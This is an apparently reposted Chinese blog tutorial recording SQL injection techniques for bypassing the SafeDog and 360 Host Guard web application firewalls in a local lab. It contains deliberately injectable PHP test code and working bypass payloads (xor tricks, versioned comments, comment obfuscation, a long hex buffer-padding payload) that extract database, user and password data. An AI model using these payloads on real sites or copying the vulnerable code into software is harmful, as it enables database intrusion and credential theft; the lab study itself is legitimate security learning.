sql注入 练手网站_经验总结 | SQL注入Bypass安全狗360主机卫士

news/2024/5/21 23:11:51/文章来源:https://blog.csdn.net/weixin_29735819/article/details/112448911

0x00 前言

这类的文章已经是比较多了,本文也主要是作为学习笔记来记录,主要是记录一下我在学习 SQL 注入 Bypass 的过程,同时前人的不少绕过方法已经失效了,所以这里也是记录一下最新规则的一些绕过方法。

0x01 环境搭建

测试环境:Win7 + Apache + MySQL 5.7.26 + PHP 5.5.45

测试代码:

<?php if ($_GET['id']==null){$id=$_POST['id'];}else {$id=$_GET['id'];}$con = mysql_connect("localhost","root","root");if (!$con){die('Could not connect: ' . mysql_error());}mysql_select_db("dvwa", $con);$query = "SELECT first_name,last_name FROM users WHERE user_id = '$id'; ";$result = mysql_query($query)or die('
'
.mysql_error().'');while($row = mysql_fetch_array($result)){ echo $row['0'] . "&nbsp" . $row['1']; echo "
";
}echo "
";
echo $query;mysql_close($con);?>

上面的测试代码是参考安全客上的一篇文章,不过为了方便测试在原代码的基础上加入了 POST 传参功能,代码来自本文参考文章第 2 篇。

为方便接下来的测试,需要本地先安装 dvwa ,至于代码中其他的参数,比如数据库地址、用户名、密码什么的自行根据自己本地配置情况修改即可。

如果这个代码在使用的过程中,只使用 POST 方法传参的话,页面是会输出错误信息的,如果不想让它输出错误信息,可以在 php.ini 文件中修改 display_errors 为 Off ,然后重启 Apache 即可。

访问本地搭建的靶场地址,像下面这个样子就算是搭建成功了,其中 192.168.38.132 需要修改为你自己的靶机 IP 地址。

http://192.168.38.132/sql.php?id=1

2b1076d0ae1319f7e0b1b61deb9122aa.png

0x02 安全狗

1、搭建

下载地址:http://free.safedog.cn/website_safedog.html

我下载的是 Windows Apache V4.0 的版本,2019-11-27 更新的规则。

在安装安全狗的时候,如果不知道服务名填什么,可以查看本文参考文章第 5 篇。

如果使用 phpstudy 8.0 及更高版本可能在系统服务中找不到 apache 的服务名,所以这时建议使用 8.0 以下版本,比如 phpstudy 2018,之后再设置运行模式为“系统服务”即可,不要问我怎么知道的 [狗头]

搭建好后,我们构造 SQL 注入语句判断注入点,访问目标网站,网站有安全狗的提示,说明就搭建好了。

http://192.168.38.132/sql.php?id=1' and '1'='1

32e15cd73849ba38a67eb2b9654d6dd2.png

2、找寻绕过方法

' and '1'='1

多次测试发现单引号不会被拦截,and 也不会被拦截,只有当 and 后加上字符,比如 and ‘1’ 的时候才会被拦截,所以接下来就主要针对 and 进行绕过测试。

一般情况下,如果 and 被拦截,可以下列字符进行绕过。

+,-,*,%,/,<>>,||,|,&,&&

或者使用 or 进行绕过,也可以直接使用异或进行绕过。

^,xor

因为我下载的版本的规则是最新的,所以参考文章中利用 && 替换 and 的方法已经失效了,经过多次测试,这里使用异或是可以绕过安全狗进而判断注入点的。

' xor '1

e086483f869ad6bc80c4d856368fa847.png

接下来使用 union select 查看一下数据库名和用户名。

'union select database(),user()'

直接这样肯定会被拦截的,所以接下来找寻绕过方法。

a、利用()代替空格

'union select(database()),(user())'

数据或者函数周围可以无限嵌套()。

b、利用 mysql 特性 /!/ 执行语句

'union /*!50010select*/(database()),(user())'

/!/ 中间的代码是可以执行的,其中 50010 为 mysql 版本号,只要 mysql 大于这个版本就会执行里面的代码。

c、利用/**/混淆代码

'union/**//*!50010select*/(database/**/()),(user/**/())'

mysql 关键字中是不能插入 /**/ 的,即 se/**/lect 是会报错的,但是函数名和括号之间是可以加上 /**/ 的,像 database/**/() 这样的代码是可以执行的。

事实上,由于我的防护规则是 2019-11-27 更新的,所以即使如此,依旧不能绕过,不过由于安全狗对于 GET 的过滤相较于 POST 更为严格,所以后来经过测试发现使用 POST 方法是可以进行绕过的。

f9df9fe328b60b98acf0260127a75cbe.png

可以看到使用 POST 方法是可以成功绕过,除了上面的3个方法,有时候使用 %00 也会有意想不到的效果。

知道了绕过方法,便可以一路找到用户名和密码。

'union select user,password from users#

经过测试,发现在 POST 方法下,加个括号即可绕过安全狗,这也足以看出安全狗对于 POST 方法的过滤是多么不严格。

'union select user,password from (users)#

0b9ebb7c54b4fb76f9287d7aa04cbd13.png

绕过的方法还有很多,安全狗的就记录到这里,接下来看看 360 主机卫士。

0x03 360 主机卫士

1、搭建

曾经 360 出现过一款 360 主机卫士,不过现在已经停止更新和维护了,官网也打不开了,所以只能在第三方网站下载了,这里我下载的是 2.0.5.9 版本。

下载地址:http://www.pc6.com/softview/SoftView_145230.html

虽然 360 主机卫士已经停止了更新,但是拿来练练手还是可以滴。

下载之后,访问 ‘ and ‘1’=’1 如果发现被拦截了,返回内容像下面这个样子,说明就搭建成功了。

80b703fb13a2639aa81e95538d8cdcf4.png

2、找寻绕过方法

' and '1'='1

经过多次测试,这里使用 && 即可绕过,使用异或也是可以绕过的。

ffe0b956c1b31aa41932e95cb73375cb.png

接下来看看 union select 怎么进行绕过。

'union select database(),user()'

经过多次测试,发现可以通过缓冲区溢出进行绕过,但也只有在 POST 方法下才有效。

' and (select 1)=(select 0xAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA)union select database(),user()'

16fae5d6846c1d60c05c31748375f182.png

0x04 工具

提到 SQL 注入的工具,个人觉着就不得不提 shack2 的超级 SQL 注入工具,针对于上面缓冲区绕过的情况,使用这个工具可以很方便的进行 SQL 注入。

工具下载地址:https://github.com/shack2/SuperSQLInjectionV1/releases

4a3e0853b034ba1397a9479305f1c6dc.png

把 Burp 中的数据包复制到工具中,在注入标记、编码标记后,就可以获取数据了,对于如何标记注入点不理解的可以看看这个工具的教学视频以及文档,会容易理解些。

1a07d45f0fab2f777c40e41b49317740.png

至于其他更为复杂的绕过,比如上面安全狗的绕过,利用这个工具的注入绕过模块也是可以的,当然使用 sqlmap 的 tamper 脚本也是 OK 的,暂时本文就先记录到这里。

参考文章:

https://zhuanlan.zhihu.com/p/41332480
https://www.anquanke.com/post/id/102852
https://www.secpulse.com/archives/68991.html
https://www.cnblogs.com/xiaozi/p/9132737.html
https://blog.csdn.net/weixin_30886233/article/details/95871508


往期推荐

6、继续爬虫、终止和重启任务

5、利用 pipelines 和 settings 将爬取数据存储到 MongoDB

4、数据项介绍和导出文件

894b0772a603ef75a3aafdccb28b08e9.png

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.luyixian.cn/news_show_826934.aspx

如若内容造成侵权/违法违规/事实不符,请联系dt猫网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

用 ASP.NET 做网站截图(代码示例)

一、添加引用 在解决方案上单击右键&#xff0c;选择“Add Reference...”&#xff0c;添加“System.Windows.Forms”&#xff0c;添加完后&#xff0c;Web.Config 中应该有类似下面的内容&#xff1a; 二、 设置 STA 模式 在 Page 指令中加上 AspCompat"true"&…

大并发服务器架构 大型网站架构演变

服务器的三条要求&#xff1a; 高性能&#xff1a;对于大量请求&#xff0c;及时快速的响应 高可用&#xff1a;7*24 不间断&#xff0c;出现故障自动转移&#xff0c;这叫fail over&#xff08;故障转移&#xff09; 伸缩性&#xff1a;使用跨机器的通信&#xff08;TCP&am…

如何让网站打开更快第四弹--管好你的HTTP头第一篇

为什么要讲HTTP头&#xff1f; 1、非常简单的通过HTTP头&#xff0c;可以让你的用户打开速度快10倍2、网上讲HTTP头的文章&#xff0c;都讲的太玄乎和专业&#xff0c;实际价值不大3、太多人看了太多乱七八糟的文章&#xff0c;加了很多自己也不知道干嘛用的HTTP头4、HTTP头过大…

最佳45个带给你灵感的 HTML5 网站设计作品

HTML5 新增了许多重要的特性&#xff0c;像 video、audio 和 canvas 等等&#xff0c;这些特性使得能够很容易的网页中包含多媒体内容&#xff0c;而不需要任何的插件或者 API。而其它的新元素&#xff0c;例如 section、article、header 和 nav 等&#xff0c;则是用来丰富网页…

mysql搭建网站怎么填_从零搭建网站之MySQL篇

前言今天心血来潮又购买了三年服务器&#xff0c;自己也喜欢在服务器上乱搞&#xff0c;面试的时候要用到&#xff0c;自己测试什么东西也可以用到&#xff0c;建议大家都买一个自己的服务器&#xff0c;我的服务器是centos8.0的版本。下面就让我们开始吧&#xff01;&#xff…

30个设计精美的户外体育运动网站制作案例

体育网站分为几个不同的类别&#xff1a;体育新闻&#xff0c;俱乐部&#xff0c;运动服装和著名运动员的个人网站。体育俱乐部和新闻网站主要包含大量的信息&#xff0c;这使得它页面布局很难达到清洁。对于运动服装网站来说&#xff0c;其主要任务用一个有说服力的方式呈现产…

网站php.ini,利用php.ini的另类后门

最近在看完了一个程序的代码后又重新温习了PHP中文手册&#xff0c; 在看的过程中突然想到了一个隐藏后门的方法&#xff0c;拿来给大家分享下 嘿嘿:) 在入侵服务器后如何能将后门做到不被管理员大叔发现这是很重要的。因此就出现了各种隐藏的方法&#xff0c;对于php来说大多是…

html网站实现站内搜索功能_如何快速搭建站内搜索,站内搜索常见问题与解答 - 站内搜索系列...

今天我们一起来看一个app站内搜索搭建与优化的案例。某兼职招聘app&#xff0c;公司已有些体量&#xff0c;但搜索后台还一直使用MySQL搜索。数据量和日活到目前这个量级&#xff0c;站内搜索已经成为整个业务的瓶颈。在后台统计的无结果搜索词中&#xff0c;我们可以观察到&am…

成功案例_营销型网站成功案例 营销型网络

我总结了多年的网络营销推广方法&#xff0c;现在决定把这些干货技术免费分享给大家&#xff0c;大家一起交个朋友&#xff0c;一起进步共同成长。营销型网站成功案例 营销型网络 它必须是一款成功的在线游戏&#xff0c;一种具有玩家凝聚力的游戏。1“ FF14”。当版本0关闭…

我记录网站综合系统 -- 技术原理解析[0:简介(代序) 1.7Beta源代码下载开始]...

看到了路过秋天的博客系统受到了大家的好评&#xff0c;我也来介绍一个好的开源的CMS系统。我记录网站综合系统 是 掷鸡蛋者 的作品&#xff0c;这个家伙将大量的时间和精力放在这个项目上了&#xff0c;可以算一个创业项目。对于这样的同志&#xff0c;我只有敬佩他和全力支持…

30个免费下载高质量精美照片素材的网站

在设计中使用免费的照片素材可以节省大量的时间。网络有有很多分享照片资源的网站&#xff0c;有些是免费的&#xff0c;有些则需要付费&#xff0c;当你在设计中使用网上的照片素材的时候要注意使用协议以免带来麻烦。今天这篇文章向大家推荐30个国外的免费下载高质量精美图片…

自我感觉不错的五个响应式网站设计工具

2019独角兽企业重金招聘Python工程师标准>>> 响应式Web设计(Responsive Web Design)是2013年最流行的界面设计趋势之一。那么你知道有哪些好用的支持响应式设计的工具吗&#xff1f;下面推荐5个用起来不错的响应式Web设计工具&#xff0c;希望你能喜欢&#xff1a; …

今天发现的一些优秀的资源网站

为什么80%的码农都做不了架构师&#xff1f;>>> http://www.trinea.cn 一些开源项目 http://www.trinea.cn/android/android-open-source-projects-view/ android的一些工具 https://github.com/Trinea/android-common 转载于:https://my.oschina.net/quanke/blog/…

开源网站统计程序 oracle,开源网站访问统计系统Piwik

Piwik是一个PHP和MySQL的开放源代码的Web统计软件. 它给你一些关于你的网站的实用统计报告&#xff0c;比如网页浏览人数, 访问最多的页面,搜索引擎关键词等等…Piwik拥有众多不同功能的插件&#xff0c;你可以添加新的功能或是移除你不需要的功能&#xff0c;Piwik同样可以安装…

织梦之路——织梦自由列表页分页链接绝对路径化(SEO)

回家半个月&#xff0c;回来思路全无&#xff0c;看来IT工作者禁不起安逸啊~~~~ 先看看哪里需要完善的吧&#xff0c;于是先看了自由列表页的分页链接——相当不爽&#xff01;&#xff01; 都是相对路径&#xff0c;“据说”对SEO不利&#xff0c;于是改&#xff01;&#xff…

让Safari中收藏的个人网站显示Logo

让Safari中收藏的个人网站显示Logo touch-icon Safari中要显示网站的Logo需要特意设置一下&#xff0c;并不是通常的写法&#xff1a; <link rel"shortcut icon" type"image/png" href"pics/favicon.png">而是有它自己的一套写法&#x…

当SaveBinaryDirect遇到网站配额模版

根据某个“众所周知”的原因&#xff0c;当我们使用SharePoint的CSOM&#xff08;客户端对象模型&#xff09;上载文件的时候&#xff0c;推荐使用SaveBinaryDirect取代FileCollection.Add的方法&#xff08;详细原因可以参考&#xff1a;Uploading files using Client Object …

博客 笔记 网站小计

为什么80%的码农都做不了架构师&#xff1f;>>> FarBox 理念不错……可服务器在国外…… LeaNote 个人备案的 哪天成公司了再说吧…… 不过开源的程序还不错……GoMongoDB…… Github、GitCafe都有Pages服务。可惜GitCafe容量太小……但是毕竟是国内的…… paperwo…

关于meta: description HTML 标签的解释 ,SEO

关于meta: description HTML 标签的解释 &#xff0c;SEO 参阅链接 Meta Description 了解一下 meta: description <meta namedescription content"Kyle 自己的个人站点&#xff0c;存放一些自己的项目和好用的 web 小工具"><head> 标签中的 meta: desc…

关注电子商务网站开发-《简单易用的JQUERY插件--图片延时加载插件(lazyload)》

图片延时加载(lazyload)是网站常用的一种手段&#xff0c;目的是为了减少页面加载时向服务器的请求数&#xff0c;这里分享一款支持大部分情况下&#xff08;如IPAD浏览、异步加载、某个范围加载&#xff09;的图片延时加载插件。 代码及效果 先贴代码&#xff1a; $.extend({i…